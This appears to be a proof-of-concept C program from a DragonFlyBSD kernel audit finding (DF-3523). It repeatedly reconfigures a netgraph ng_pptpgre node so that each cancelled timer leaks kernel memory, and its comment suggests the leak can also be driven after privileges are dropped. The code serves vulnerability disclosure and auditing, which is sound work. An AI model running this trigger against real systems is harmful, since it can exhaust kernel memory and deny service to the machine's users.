⬢ DragonFlyBSD Kernel Audit
DF-3523 / pptp_leak.c
← back to finding ↓ download raw
/*
 * DF-3523 -- netgraph7 ng_pptpgre: ng_uncallout() leaks the timer item
 *            (ng7 twin of v1 DF-3521, via the DF-3515 callout_stop contract)
 *
 * Root cause:
 *   ng7 ng_callout() (ng_base.c:3248-3268) stores the ng_item (holding one
 *   node ref + one hook ref) as the callout arg.  ng_uncallout()
 *   (ng_base.c:3273-3296) only frees that item when callout_stop() returns
 *   non-zero.  On this kernel callout_stop() of an ARMED, not-yet-fired
 *   callout completes the stop inline and returns 0 (kern_timeout.c
 *   CALLOUT_STOP branch never sets CALLOUT_PREVENTED -- DF-3515), so the
 *   item is never freed: every armed-then-cancelled rack/sack timer
 *   permanently leaks one struct ng_item + one node ref + one hook ref.
 *
 *   ng7 ng_pptpgre cancels armed timers in NORMAL operation:
 *     - ng_pptpgre_reset()  (ng_pptpgre.c:968-969) -- every SET_CONFIG
 *       (rcvmsg :396) and every session-hook disconnect (:494)
 *     - ack processing (:770), piggy-backed ack in xmit (:596)
 *
 * Trigger per cycle (needs one armed rack timer):
 *   1. NGM_PPTPGRE_SET_CONFIG  {enabled=1, enableWindowing=1, ...}
 *   2. write 1 data byte to the "upper" hook  -> ng_pptpgre_xmit() arms
 *      rackTimer (ng_pptpgre.c:627-629: first unacked seq after xmitSeq++)
 *   3. NGM_PPTPGRE_SET_CONFIG again           -> reset() ->
 *      ng_uncallout(armed rackTimer)          ==> 1 item leaked
 *
 * Control run: same cycles with enableWindowing=0 (rack timer never armed)
 *              -> count must stay flat.
 *
 * Build:  cc -O2 -o pptp_leak pptp_leak.c
 * Run:    ./pptp_leak <rounds> [nowindow]     (measure with vmstat -m)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ---- ng7 netgraph user ABI (self-contained copies) ---- */
#define AF_NG			32
#define NG_DATA			1
#define NG_CONTROL		2
#define NG_VERSION		8
#define NGM_GENERIC_COOKIE	1137070366
#define NGM_MKPEER		2
#define NGM_CONNECT		3
#define NGM_NAME		4
#define NGM_NODEINFO		(6 | 0x10000000 | 0x20000000)
#define NGM_PPTPGRE_COOKIE	1082548365
#define NGM_PPTPGRE_SET_CONFIG	1

#define NG_TYPESIZ		32
#define NG_HOOKSIZ		32
#define NG_NODESIZ		32
#define NG_PATHSIZ		512

struct ngm_hdr_ {
	u_char	version;
	u_char	spare;
	u_short	spare2;
	u_int	arglen;
	u_int	cmd;
	u_int	flags;
	u_int	token;
	u_int	typecookie;
	char	cmdstr[32];
};
struct ng_mesg_ {
	struct ngm_hdr_ header;
	char	data[1024];
};
struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name_ { char name[NG_NODESIZ]; };
struct nodeinfo_ { char name[NG_NODESIZ]; char type[NG_TYPESIZ]; u_int32_t id; u_int32_t hooks; };
struct sockaddr_ng_ { u_char sg_len; sa_family_t sg_family; char sg_data[64]; };

/* struct ng_pptpgre_conf (ng_pptpgre.h) */
struct pptp_conf_ {
	u_char enabled, enableDelayedAck, enableAlwaysAck, enableWindowing;
	u_int16_t cid, peerCid, recvWin, peerPpd;
};

static u_int32_t tok = 0x1000;

static int
ng_send_msg2(int cs, const char *path, u_int cookie, u_int cmd,
    const void *arg, size_t arglen, struct ng_mesg_ *reply)
{
	struct ng_mesg_ m;
	struct sockaddr_ng_ sa;
	ssize_t n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;
	m.header.cmd = cmd;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	if (arglen)
		memcpy(m.data, arg, arglen);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;

	n = sendto(cs, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	if (n < 0)
		return (-1);

	if (reply) {
		u_int32_t mytok = m.header.token;
		int tries;
		for (tries = 0; tries < 32; tries++) {
			n = recv(cs, reply, sizeof(*reply), 0);
			if (n < 0)
				return (-1);
			if (reply->header.token != mytok)
				continue;
			if (reply->header.flags & 1 /* NGF_RESP */) {
				if (reply->header.arglen == 4)
					return (-((int)*(u_int32_t *)reply->data ?
					    (int)*(u_int32_t *)reply->data : EIO));
				return (0);
			}
		}
		return (-1);
	}
	return (0);
}

static int
ng_send_msg(int cs, const char *path, u_int cmd, const void *arg,
    size_t arglen, struct ng_mesg_ *reply)
{
	return (ng_send_msg2(cs, path, NGM_GENERIC_COOKIE, cmd, arg, arglen,
	    reply));
}

static int
nodeinfo_id(int cs, u_int32_t *id)
{
	static struct ng_mesg_ reply;
	struct nodeinfo_ *ni;

	if (ng_send_msg(cs, ".", NGM_NODEINFO, NULL, 0, &reply) < 0)
		return (-1);
	ni = (struct nodeinfo_ *)reply.data;
	*id = ni->id;
	return (0);
}

int
main(int argc, char **argv)
{
	int cs, cs2, ds, rounds, i, win = 1;
	struct ngm_mkpeer_ mkp;
	struct ngm_name_ nam;
	struct pptp_conf_ conf;
	struct sockaddr_ng_ sa;
	u_int32_t id;
	char byte = 'X';

	rounds = (argc > 1) ? atoi(argv[1]) : 10000;
	if (argc > 2 && strcmp(argv[2], "nowindow") == 0)
		win = 0;

	/* -------- root: build the graph -------- */
	cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) { perror("control socket"); exit(1); }

	memset(&mkp, 0, sizeof(mkp));
	strcpy(mkp.type, "pptpgre");
	strcpy(mkp.ourhook, "c0");
	strcpy(mkp.peerhook, "upper");
	if (ng_send_msg(cs, ".", NGM_MKPEER, &mkp, sizeof(mkp), NULL) < 0) {
		perror("mkpeer pptpgre"); exit(1);
	}
	memset(&nam, 0, sizeof(nam));
	snprintf(nam.name, sizeof(nam.name), "pptp%s", (argc > 3) ? argv[3] : (win ? "0" : "1"));
	if (ng_send_msg(cs, "c0", NGM_NAME, &nam, sizeof(nam), NULL) < 0) {
		perror("name pptp0"); exit(1);
	}

	/* data socket on its own socket-node, hooked to pptp0:session_0000 */
	cs2 = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	ds = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (cs2 < 0 || ds < 0) { perror("sockets"); exit(1); }
	{
		struct ngm_connect_ { char path[NG_PATHSIZ];
		    char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; } con;
		memset(&con, 0, sizeof(con));
		snprintf(con.path, sizeof(con.path), "%s:", nam.name);
		strcpy(con.ourhook, "data");
		strcpy(con.peerhook, "session_0000");
		if (ng_send_msg(cs2, ".", NGM_CONNECT, &con, sizeof(con), NULL) < 0) {
			perror("connect data->pptp0:session_0000"); exit(1);
		}
	}
	if (nodeinfo_id(cs2, &id) < 0) { perror("nodeinfo"); exit(1); }
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "[%x]:", id);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) {
		perror("connect data socket"); exit(1);
	}

	memset(&conf, 0, sizeof(conf));
	conf.enabled = 1;
	conf.enableWindowing = win;	/* arms rackTimer in xmit() */
	conf.cid = 0;
	conf.peerCid = 0;
	conf.recvWin = 16;

	/* drop privileges: ng7 data sockets have no privilege check */
	if (setgid(65534) || setuid(65534)) {
		perror("setuid"); /* non-fatal: continue anyway */
	}

	for (i = 0; i < rounds; i++) {
		if (ng_send_msg2(cs, "c0", NGM_PPTPGRE_COOKIE,
		    NGM_PPTPGRE_SET_CONFIG, &conf, sizeof(conf), NULL) < 0) {
			fprintf(stderr, "round %d: setconfig: %s\n", i,
			    strerror(errno));
			exit(1);
		}
		if (win) {
			struct sockaddr_ng_ dsa;
			memset(&dsa, 0, sizeof(dsa));
			dsa.sg_family = AF_NG;
			strcpy(dsa.sg_data, "data");
			dsa.sg_len = 2 + strlen(dsa.sg_data) + 1;
			if (sendto(ds, &byte, 1, 0,
			    (struct sockaddr *)&dsa, dsa.sg_len) != 1) {
				fprintf(stderr, "round %d: send: %s\n", i,
				    strerror(errno));
				exit(1);
			}
		}
		if (ng_send_msg2(cs, "c0", NGM_PPTPGRE_COOKIE,
		    NGM_PPTPGRE_SET_CONFIG, &conf, sizeof(conf), NULL) < 0) {
			fprintf(stderr, "round %d: setconfig2: %s\n", i,
			    strerror(errno));
			exit(1);
		}
		if ((i % 5000) == 4999) {
			printf("... %d rounds\n", i + 1);
			fflush(stdout);
		}
	}
	printf("done: %d rounds (windowing=%d)\n", rounds, win);
	return (0);
}